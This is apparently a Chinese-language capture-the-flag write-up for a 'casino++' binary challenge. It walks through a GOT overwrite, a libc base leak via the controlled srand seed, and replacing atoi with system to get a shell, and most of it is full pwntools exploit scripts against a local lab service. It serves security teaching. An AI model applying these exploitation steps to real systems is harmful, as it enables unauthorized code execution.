casino++
攻擊思路
列舉 GOT 的位址。
objdump -R ./casino++

透過將 casino 函數的位址寫入 puts 函數的 GOT 來重複任意寫入漏洞。
from pwn import *
from time import sleep
context.arch = 'amd64'
l = ELF(os.path.join(os.curdir, "libc-2.27.so"))
rnd = [0x53,0x56,0x4d,0x0f,0x5d,0x23]
conn = remote("127.0.0.1", 10176)
conn.sendlineafter(":", b'\x00' * 0x20)
conn.sendlineafter(":", "30")
casino = 0x40095d
printf = 0x400700
guess = 0x6020d0
puts_got = 0x602020
guess = 0x6020d0
def write_got(conn, got_adr, write_adr):
offset = int((got_adr - guess) / 4)
write_adr_lowpart = write_adr & 0x00000000ffffffff
write_adr_highpart = write_adr & 0xffffffff00000000
for i in range(0,6):
conn.sendlineafter(":", str(i))
conn.sendlineafter("[1:yes 0:no]:", '1')
conn.sendlineafter("[1 ~ 6]:", str(offset + 2))
conn.sendlineafter(":", str(write_adr_highpart))
for i in rnd:
conn.sendlineafter(":", str(i))
conn.sendlineafter("[1:yes 0:no]:", '1')
conn.sendlineafter("[1 ~ 6]:", str(offset + 1))
conn.sendlineafter(":", str(write_adr_lowpart))
write_got(conn, puts_got, casino)
conn.interactive()

接下來,我們需要想辦法洩漏 libc 的基址, casino 函數中呼叫 srand(seed) 而 seed 變數可以藉由 main 函數輸入 name 時的緩衝區溢位來控制。先將 seed 設定成在 GOT 中隨機被解析過的 libc 位址,再將 srand 函數蓋成 puts 函數就可以洩漏 libc 基址。
conn.sendlineafter(":", b'\x00' * 0x10 + p64( __lib_start_main_got ) + p64( 0 ) + asm( shellcraft.sh() ))
改完 seed 後,中斷點設定在 casino+99 ,觀察 lottery 的隨機數重新生成的值。

更改新的隨機數陣列。
rnd = [0x3d,0x44,0x20,0x16,0x45,0x14]
驗證成功,重新呼叫一次 casino 函數。

接下來,把 srand 函數的 GOT 寫成 puts 的 plt。因此要找 puts 的位址。由於 0x602020 已經被寫成 casino 函數了,所以跳到 0x4006e6 。
objdump -d ./casino++

成功洩漏 __lib_start_main 函數的動態載入位址。

確認末三碼確實是 0xba0。
readelf -s ./libc-2.27.so | grep __libc_start_main

一樣中斷點設定在 casino+99 ,由於 srand 函數被蓋掉了,因此隨機種子不會再被初始化,所以需要獲取新的六個值,這一輪才能再贏一次,跳到被蓋成 casino 函數的 puts 函數。

rnd = [0x16,0x43,0x3a,0x35,0x4a,0x03]
每次輸入數字都會呼叫 read_int 函數。在 read_int 函數中, read_chk 函數讀取字串後,會將其儲存在 [rbp-0x20] ,atoi 函數會讀取 [rbp-0x20] 轉換成整數。假設 atoi 函數被蓋成 system 函數,可以直接從 read_chk 函數讀取到的字串當成指令。

攻擊程式碼
from pwn import *
from time import sleep
context.arch = 'amd64'
l = ELF(os.path.join(os.curdir, "libc-2.27.so"))
rnd = [0x3d,0x44,0x20,0x16,0x45,0x14]
conn = remote("127.0.0.1", 10176)
casino = 0x40095d
printf = 0x400700
guess = 0x6020d0
puts_got = 0x602020
srand_got = 0x602040
atoi_got = 0x602058
guess = 0x6020d0
__lib_start_main_got = 0x601ff0
def lose(offset, write_adr_highpart):
for i in range(0,6):
conn.sendlineafter(":", str(i))
conn.sendlineafter("[1:yes 0:no]:", '1')
conn.sendlineafter("[1 ~ 6]:", str(offset + 2))
conn.sendlineafter(":", str(write_adr_highpart))
def win(offset, write_adr_lowpart):
for i in rnd:
conn.sendlineafter(":", str(i))
conn.sendlineafter("[1:yes 0:no]:", '1')
conn.sendlineafter("[1 ~ 6]:", str(offset + 1))
conn.sendlineafter(":", str(write_adr_lowpart))
def write_got(got_adr, write_adr):
offset = int((got_adr - guess) / 4)
write_adr_lowpart = write_adr & 0x00000000ffffffff
write_adr_highpart = write_adr & 0xffffffff00000000
lose(offset, write_adr_highpart)
win(offset, write_adr_lowpart)
conn.sendlineafter(":", b'\x00' * 0x10 + p64( __lib_start_main_got ) )
conn.sendlineafter(":", "30")
write_got(puts_got, casino)
puts_plt = 0x4006e6
write_got(srand_got, puts_plt)
libc_base = u64( conn.recvline()[1:-1] + b'\0\0' ) - l.sym.__libc_start_main
l.address = libc_base
success( f"libc -> {hex(libc_base)}" )
rnd = [0x16,0x43,0x3a,0x35,0x4a,0x03]
system_libc = l.sym['system']
offset = int((atoi_got - guess) / 4) - 1
lose(offset, system_libc & 0xffffffff)
conn.interactive()
成功拿到 shell 。
